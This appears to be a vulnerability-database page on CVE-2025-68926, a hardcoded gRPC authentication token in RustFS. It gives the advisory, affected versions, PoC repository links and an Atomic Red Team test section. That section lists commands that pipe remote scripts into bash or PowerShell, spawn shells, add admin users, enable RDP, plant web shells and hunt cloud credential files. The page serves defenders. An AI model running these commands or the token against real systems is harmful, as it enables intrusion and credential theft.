CVE-2025-68926
Overview
This vulnerability is an authentication bypass caused by the use of a hardcoded static token within the RustFS distributed object storage system. The token, embedded in both client and server implementations of the gRPC authentication mechanism, is publicly exposed in the source code and lacks configurability or rotation capabilities. The affected component is the gRPC authentication module in RustFS versions prior to 1.0.0-alpha.78.
Vulnerability Description
RustFS is a distributed object storage system built in Rust. In versions prior to 1.0.0-alpha.78, RustFS implements gRPC authentication using a hardcoded static token `"rustfs rpc"` that is publicly exposed in the source code repository, hardcoded on both client and server sides, non-configurable with no mechanism for token rotation, and universally valid across all RustFS deployments. Any attacker with network access to the gRPC port can authenticate using this publicly known token and execute privileged operations including data destruction, policy manipulation, and cluster configuration changes. Version 1.0.0-alpha.78 contains a fix for the issue.
Impact
An attacker with network access to the RustFS gRPC port can authenticate using the publicly known static token without any credentials or user interaction (AV:N/AC:L/PR:N/UI:N). This grants the ability to perform privileged operations including data deletion, modification of storage policies, and alteration of cluster configurations, potentially leading to data loss and service disruption. The vulnerability enables full compromise of RustFS deployments accessible over the network.
Solution
Upgrade RustFS to version 1.0.0-alpha.78 or later, where the hardcoded static token authentication has been replaced with a secure mechanism. Refer to the RustFS security advisory GHSA-h956-rh7x-ppgj at https://github.com/rustfs/rustfs/security/advisories/GHSA-h956-rh7x-ppgj for detailed patch instructions and version-specific guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the distributed object storage system, RustFS, arises from its implementation of gRPC authentication using a hardcoded static token. This token, `"rustfs rpc"`, is embedded within the source code and is present on both the client and server sides. The hardcoded nature of this token means that it is universally valid across all deployments of RustFS prior to version 1.0.0-alpha.78. The absence of configurability and a mechanism for token rotation exacerbates the risk, as any attacker with network access to the gRPC port can leverage this token to authenticate and perform privileged operations. This includes potentially destructive actions such as data deletion, manipulation of access policies, and alterations to cluster configurations, which can severely compromise the integrity and availability of the stored data.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the gRPC interface. An attacker could conduct a network scan to identify systems running RustFS and subsequently attempt to connect to the gRPC port. Once authenticated using the known static token, the attacker gains elevated privileges, enabling them to execute a range of harmful operations. For instance, they could delete critical data, modify storage policies to allow unauthorized access, or even reconfigure the cluster to redirect traffic or disrupt services. The simplicity of this attack, combined with the high privileges granted upon authentication, makes it particularly dangerous, especially in environments where RustFS is used to store sensitive or mission-critical data.
The real-world impact of this vulnerability is significant, posing substantial business risks. Organizations relying on RustFS for data storage may face severe consequences, including data loss, regulatory penalties for non-compliance with data protection regulations, and reputational damage stemming from security breaches. The potential for data destruction and unauthorized access can lead to operational disruptions, financial losses, and a loss of customer trust. Furthermore, the ease of exploitation means that even less sophisticated attackers could potentially compromise systems, increasing the likelihood of incidents occurring in the wild.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize upgrading to the fixed version of RustFS, specifically 1.0.0-alpha.78 or later. Regularly monitoring network traffic for unauthorized access attempts to the gRPC port can help identify potential exploitation attempts. Implementing network segmentation and firewall rules to restrict access to the gRPC interface only to trusted sources can further reduce exposure. Additionally, organizations should adopt a robust security posture that includes regular code reviews and security audits to identify hardcoded credentials and other security flaws in their applications. Employing automated tools to scan for vulnerabilities in dependencies can also aid in maintaining a secure environment.
In conclusion, the vulnerability within RustFS highlights critical security concerns associated with hardcoded authentication mechanisms. The implications of this flaw extend beyond technical details, posing significant risks to organizations that utilize this storage solution. By understanding the nature of the vulnerability, recognizing potential attack vectors, and implementing effective detection and mitigation strategies, organizations can better protect their data and maintain the integrity of their operations.
Affected Products (77)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha1:*:*:*:rust:*:*
|
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|
Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha10:*:*:*:rust:*:*
|
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|
Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha11:*:*:*:rust:*:*
|
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|
Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha12:*:*:*:rust:*:*
|
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha13:*:*:*:rust:*:*
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|
Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha14:*:*:*:rust:*:*
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha15:*:*:*:rust:*:*
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha16:*:*:*:rust:*:*
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha17:*:*:*:rust:*:*
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha18:*:*:*:rust:*:*
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha19:*:*:*:rust:*:*
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha2:*:*:*:rust:*:*
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha20:*:*:*:rust:*:*
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha21:*:*:*:rust:*:*
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha22:*:*:*:rust:*:*
|
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha23:*:*:*:rust:*:*
|
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha24:*:*:*:rust:*:*
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha25:*:*:*:rust:*:*
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha26:*:*:*:rust:*:*
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Rustfs | Rustfs | 1.0.0 |
cpe:2.3:a:rustfs:rustfs:1.0.0:alpha27:*:*:*:rust:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Chocapikk/CVE-2025-68926
CVE-2025-68926 - RustFS Hardcoded gRPC Authentication Token Exploit
|
Chocapikk | 9 | 2 | 2026-01-04 | View |
|
Arcueld/CVE-2025-68926
CVE-2025-68926 POC
|
Arcueld | 1 | 0 | 2026-01-05 | View |
|
materaj2/CVE-2025-68926-repo
Script and node.proto for exploit CVE-2025-68926
|
materaj2 | 0 | 0 | 2026-03-14 | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-191 | Read Sensitive Constants Within an Executable |
38%
|
— | Low | |
| CAPEC-70 | Try Common or Default Usernames and Passwords |
36%
|
Medium | High |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
net user #{guest_user} /active:yes
sudo sysadminctl -guestAccount on
net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-68926 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/rustfs/rustfs/security/advisories/GHSA-h956-rh7x-ppgj |